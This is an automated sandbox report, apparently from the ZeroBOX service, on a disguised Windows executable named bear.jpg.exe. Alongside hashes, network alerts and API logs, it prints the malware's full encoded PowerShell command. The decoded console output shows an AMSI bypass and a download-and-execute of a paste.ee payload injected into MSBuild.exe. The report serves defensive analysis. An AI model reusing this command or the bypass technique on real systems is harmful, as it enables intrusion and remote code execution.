popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

bear.jpg.exe

Generic Malware Antivirus UPX PE32 PE File
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Aug. 28, 2021, 2:58 a.m. Aug. 28, 2021, 2:58 a.m.
Size 378.5KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, UPX compressed
MD5 1d9dcacc61aaacca64e3776e9bb06e94
SHA256 2fb9d1f6c39bdd44d58fb6c896187dbb937a1c7350a137b24ff377cc29aa580a
CRC32 FE9B853F
ssdeep 6144:lof7DeNUSfGgHCU/2McdfoI/ZX0rYfCzuCCMQZN/OdnFQ8+uXNvxsCBpYu+6ZfOP:UYV6MorX7qzuC3QHO9FQgd5sCBlfOP
Yara
  • PE_Header_Zero - PE File Signature
  • UPX_Zero - UPX packed file
  • IsPE32 - (no description)

  • bear.jpg.exe "C:\Users\test22\AppData\Local\Temp\bear.jpg.exe"

    112

    • powershell.exe powershell.exe PowERsHEL`l.`ExE -ExecutionPolicy Bypass -w 1 /`e JABSAEEATgA9AFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEEAbABsAG8AYwBIAEcAbABvAGIAYQBsACgAKAAzADkAOQAwADcAMQA3ADIALwA0ADMAOQA3ACkAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAUwBlAHMAcwBpAG8AbgAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAQwBvAG4AdABlAHgAdAAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIABbAEkAbgB0AFAAdAByAF0AJABSAEEATgApADsAJAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ANQBEAGYARwBMACcAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBuAEMAWQBIAFkAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAWQAuAE0AXQA6ADoAUQAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA7AA==

      2260

      • powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e JABSAEEATgA9AFsAUwB5AHMAdABlAG0ALgBSAHUAbgB0AGkAbQBlAC4ASQBuAHQAZQByAG8AcABTAGUAcgB2AGkAYwBlAHMALgBNAGEAcgBzAGgAYQBsAF0AOgA6AEEAbABsAG8AYwBIAEcAbABvAGIAYQBsACgAKAAzADkAOQAwADcAMQA3ADIALwA0ADMAOQA3ACkAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAUwBlAHMAcwBpAG8AbgAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgAkACgAWwBTAFkAcwB0AGUATQAuAE4ARQBUAC4AVwBlAGIAdQB0AEkATABJAFQAeQBdADoAOgBIAFQAbQBsAEQARQBjAE8ARABFACgAJwAmACMANgA1ADsAJgAjADEAMAA5ADsAJgAjADEAMQA1ADsAJgAjADEAMAA1ADsAJwApACkAVQB0AGkAbABzACIAKQAuAEcAZQB0AEYAaQBlAGwAZAAoACIAJAAoAFsAQwBoAEEAcgBdACgAWwBiAFkAVABlAF0AMAB4ADYAMQApACsAWwBjAGgAQQBSAF0AKABbAGIAeQBUAEUAXQAwAHgANgBEACkAKwBbAEMASABBAHIAXQAoAFsAYgB5AFQAZQBdADAAeAA3ADMAKQArAFsAQwBoAGEAUgBdACgANwAxADQAMAAvADYAOAApACkAQwBvAG4AdABlAHgAdAAiACwAIAAiAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAIgApAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAIABbAEkAbgB0AFAAdAByAF0AJABSAEEATgApADsAJAByAGUAZwAgAD0AIAAoACcAewAyAH0AewAwAH0AewAxAH0AewAzAH0AJwAtAGYAJwBkAFMAdAAnACwAJwByAGkAbgAnACwAHCBgAEQAYABvAGAAdwBuAGAAbABgAG8AYQAdICwAJwBnACcAKQA7AFsAdgBvAGkAZABdACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACcATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMAJwApADsAJABmAGoAPQBbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4ASQBuAHQAZQByAGEAYwB0AGkAbwBuAF0AOgA6AEMAYQBsAGwAQgB5AG4AYQBtAGUAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALAAkAHIAZQBnACwAWwBNAGkAYwByAG8AcwBvAGYAdAAuAFYAaQBzAHUAYQBsAEIAYQBzAGkAYwAuAEMAYQBsAGwAVAB5AHAAZQBdADoAOgBNAGUAdABoAG8AZAAsACcAaAB0AHQAJwArAFsAQwBoAGEAcgBdADgAMAArACcAcwAnACAAKwAgAFsAQwBoAGEAcgBdADUAOAAgACsAIAAnAC8ALwBwAGEAcwB0AGUALgBlAGUALwByAC8ANQBEAGYARwBMACcAKQB8AEkARQBYADsAWwBCAHkAdABlAFsAXQBdACQAZgA9AFsATQBpAGMAcgBvAHMAbwBmAHQALgBWAGkAcwB1AGEAbABCAGEAcwBpAGMALgBJAG4AdABlAHIAYQBjAHQAaQBvAG4AXQA6ADoAQwBhAGwAbABCAHkAbgBhAG0AZQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgABwgYABOAGAAZQBgAFQAYAAuAGAAVwBgAGUAYABCAGAAQwBgAGwAYABpAGAAZQBgAE4AYABUAB0gKQAsACQAcgBlAGcALABbAE0AaQBjAHIAbwBzAG8AZgB0AC4AVgBpAHMAdQBhAGwAQgBhAHMAaQBjAC4AQwBhAGwAbABUAHkAcABlAF0AOgA6AE0AZQB0AGgAbwBkACwAJwBoAHQAdAAnACsAWwBDAGgAYQByAF0AOAAwACsAJwBzACcAIAArACAAWwBDAGgAYQByAF0ANQA4ACAAKwAgACcALwAvAHAAYQBzAHQAZQAuAGUAZQAvAHIALwBuAEMAWQBIAFkAJwApAC4AcgBlAHAAbABhAGMAZQAoACcAJAAkACcALAAnADAAeAAnACkAfABJAEUAWAA7AFsAWQAuAE0AXQA6ADoAUQAoACcATQBTAEIAdQBpAGwAZAAuAGUAeABlACcALAAkAGYAKQA7AA==

        2888

Name Response Post-Analysis Lookup
paste.ee
A 104.26.4.223
A 172.67.68.88
A 104.26.5.223
104.26.5.223
IP Address Status Action
104.26.5.223 Active Moloch
164.124.101.2 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49203 -> 104.26.5.223:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.101:49203
104.26.5.223:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=California, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com eb:d1:41:2f:0b:4d:3b:6a:6a:23:9c:1d:b1:1d:c7:8c:47:77:c4:01

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameA

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Unable to find type [SYsteM.NET.WebutILITy]: make sure that the assembly contai
console_handle: 0x00000023
1 1 0

WriteConsoleW

 buffer: ning this type is loaded.
console_handle: 0x0000002f
1 1 0

WriteConsoleW

 buffer: At line:1 char:24
console_handle: 0x0000003b
1 1 0

WriteConsoleW

 buffer: + [SYsteM.NET.WebutILITy] <<<< ::HTmlDEcODE('&#65;&#109;&#115;&#105;')
console_handle: 0x00000047
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (SYsteM.NET.WebutILITy:String)
console_handle: 0x00000053
1 1 0

WriteConsoleW

 buffer: [], RuntimeException
console_handle: 0x0000005f
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : TypeNotFound
console_handle: 0x0000006b
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x0000008b
1 1 0

WriteConsoleW

 buffer: At line:1 char:327
console_handle: 0x00000097
1 1 0

WriteConsoleW

 buffer: + $RAN=[System.Runtime.InteropServices.Marshal]::AllocHGlobal((39907172/4397));
console_handle: 0x000000a3
1 1 0

WriteConsoleW

 buffer: [Ref].Assembly.GetType("System.Management.Automation.$([SYsteM.NET.WebutILITy]:
console_handle: 0x000000af
1 1 0

WriteConsoleW

 buffer: :HTmlDEcODE('&#65;&#109;&#115;&#105;'))Utils").GetField("$([ChAr]([bYTe]0x61)+[
console_handle: 0x000000bb
1 1 0

WriteConsoleW

 buffer: chAR]([byTE]0x6D)+[CHAr]([byTe]0x73)+[ChaR](7140/68))Session", "NonPublic,Stati
console_handle: 0x000000c7
1 1 0

WriteConsoleW

 buffer: c").SetValue <<<< ($null, $null);[Ref].Assembly.GetType("System.Management.Auto
console_handle: 0x000000d3
1 1 0

WriteConsoleW

 buffer: mation.$([SYsteM.NET.WebutILITy]::HTmlDEcODE('&#65;&#109;&#115;&#105;'))Utils")
console_handle: 0x000000df
1 1 0

WriteConsoleW

 buffer: .GetField("$([ChAr]([bYTe]0x61)+[chAR]([byTE]0x6D)+[CHAr]([byTe]0x73)+[ChaR](71
console_handle: 0x000000eb
1 1 0

WriteConsoleW

 buffer: 40/68))Context", "NonPublic,Static").SetValue($null, [IntPtr]$RAN);$reg = ('{2}
console_handle: 0x000000f7
1 1 0

WriteConsoleW

 buffer: {0}{1}{3}'-f'dSt','rin',“`D`o`wn`l`oa”,'g');[void] [System.Reflection.Assembly]
console_handle: 0x00000103
1 1 0

WriteConsoleW

 buffer: ::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Inter
console_handle: 0x0000010f
1 1 0

WriteConsoleW

 buffer: action]::CallByname((New-Object “`N`e`T`.`W`e`B`C`l`i`e`N`T”),$reg,[Microsoft.V
console_handle: 0x0000011b
1 1 0

WriteConsoleW

 buffer: isualBasic.CallType]::Method,'htt'+[Char]80+'s' + [Char]58 + '//paste.ee/r/5DfG
console_handle: 0x00000127
1 1 0

WriteConsoleW

 buffer: L')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object
console_handle: 0x00000133
1 1 0

WriteConsoleW

 buffer: “`N`e`T`.`W`e`B`C`l`i`e`N`T”),$reg,[Microsoft.VisualBasic.CallType]::Method,'ht
console_handle: 0x0000013f
1 1 0

WriteConsoleW

 buffer: t'+[Char]80+'s' + [Char]58 + '//paste.ee/r/nCYHY').replace('$$','0x')|IEX;[Y.M]
console_handle: 0x0000014b
1 1 0

WriteConsoleW

 buffer: ::Q('MSBuild.exe',$f);
console_handle: 0x00000157
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (SetValue:String) [], RuntimeE
console_handle: 0x00000163
1 1 0

WriteConsoleW

 buffer: xception
console_handle: 0x0000016f
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : InvokeMethodOnNull
console_handle: 0x0000017b
1 1 0

WriteConsoleW

 buffer: Unable to find type [SYsteM.NET.WebutILITy]: make sure that the assembly contai
console_handle: 0x0000019b
1 1 0

WriteConsoleW

 buffer: ning this type is loaded.
console_handle: 0x000001a7
1 1 0

WriteConsoleW

 buffer: At line:1 char:24
console_handle: 0x000001b3
1 1 0

WriteConsoleW

 buffer: + [SYsteM.NET.WebutILITy] <<<< ::HTmlDEcODE('&#65;&#109;&#115;&#105;')
console_handle: 0x000001bf
1 1 0

WriteConsoleW

 buffer: + CategoryInfo : InvalidOperation: (SYsteM.NET.WebutILITy:String)
console_handle: 0x000001cb
1 1 0

WriteConsoleW

 buffer: [], RuntimeException
console_handle: 0x000001d7
1 1 0

WriteConsoleW

 buffer: + FullyQualifiedErrorId : TypeNotFound
console_handle: 0x000001e3
1 1 0

WriteConsoleW

 buffer: You cannot call a method on a null-valued expression.
console_handle: 0x00000203
1 1 0

WriteConsoleW

 buffer: At line:1 char:591
console_handle: 0x0000020f
1 1 0

WriteConsoleW

 buffer: + $RAN=[System.Runtime.InteropServices.Marshal]::AllocHGlobal((39907172/4397));
console_handle: 0x0000021b
1 1 0

WriteConsoleW

 buffer: [Ref].Assembly.GetType("System.Management.Automation.$([SYsteM.NET.WebutILITy]:
console_handle: 0x00000227
1 1 0

WriteConsoleW

 buffer: :HTmlDEcODE('&#65;&#109;&#115;&#105;'))Utils").GetField("$([ChAr]([bYTe]0x61)+[
console_handle: 0x00000233
1 1 0

WriteConsoleW

 buffer: chAR]([byTE]0x6D)+[CHAr]([byTe]0x73)+[ChaR](7140/68))Session", "NonPublic,Stati
console_handle: 0x0000023f
1 1 0

WriteConsoleW

 buffer: c").SetValue($null, $null);[Ref].Assembly.GetType("System.Management.Automation
console_handle: 0x0000024b
1 1 0

WriteConsoleW

 buffer: .$([SYsteM.NET.WebutILITy]::HTmlDEcODE('&#65;&#109;&#115;&#105;'))Utils").GetFi
console_handle: 0x00000257
1 1 0

WriteConsoleW

 buffer: eld("$([ChAr]([bYTe]0x61)+[chAR]([byTE]0x6D)+[CHAr]([byTe]0x73)+[ChaR](7140/68)
console_handle: 0x00000263
1 1 0

WriteConsoleW

 buffer: )Context", "NonPublic,Static").SetValue <<<< ($null, [IntPtr]$RAN);$reg = ('{2}
console_handle: 0x0000026f
1 1 0

WriteConsoleW

 buffer: {0}{1}{3}'-f'dSt','rin',“`D`o`wn`l`oa”,'g');[void] [System.Reflection.Assembly]
console_handle: 0x0000027b
1 1 0

WriteConsoleW

 buffer: ::LoadWithPartialName('Microsoft.VisualBasic');$fj=[Microsoft.VisualBasic.Inter
console_handle: 0x00000287
1 1 0

WriteConsoleW

 buffer: action]::CallByname((New-Object “`N`e`T`.`W`e`B`C`l`i`e`N`T”),$reg,[Microsoft.V
console_handle: 0x00000293
1 1 0

WriteConsoleW

 buffer: isualBasic.CallType]::Method,'htt'+[Char]80+'s' + [Char]58 + '//paste.ee/r/5DfG
console_handle: 0x0000029f
1 1 0

WriteConsoleW

 buffer: L')|IEX;[Byte[]]$f=[Microsoft.VisualBasic.Interaction]::CallByname((New-Object
console_handle: 0x000002ab
1 1 0
Time & API Arguments Status Return Repeated

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d2bc8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3348
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3348
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3348
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3348
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3348
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3348
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d2b88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d2b88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d2b88
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d2788
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3148
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d34c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d34c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d34c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d34c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d34c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d34c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d34c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d34c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d34c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d34c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d34c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d34c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d34c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d34c8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3408
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x003d3408
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0061a728
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0061ae28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0061ae28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0061ae28
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0061b0e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0061b0e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0061b0e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0061b0e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0061b0e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0

CryptExportKey

 buffer: <INVALID POINTER>
crypto_handle: 0x0061b0e8
flags: 0
crypto_export_handle: 0x00000000
blob_type: 6
1 1 0
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
suspicious_features GET method with no useragent header suspicious_request GET https://paste.ee/r/5DfGL
suspicious_features GET method with no useragent header suspicious_request GET https://paste.ee/r/nCYHY
request GET https://paste.ee/r/5DfGL
request GET https://paste.ee/r/nCYHY
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 112
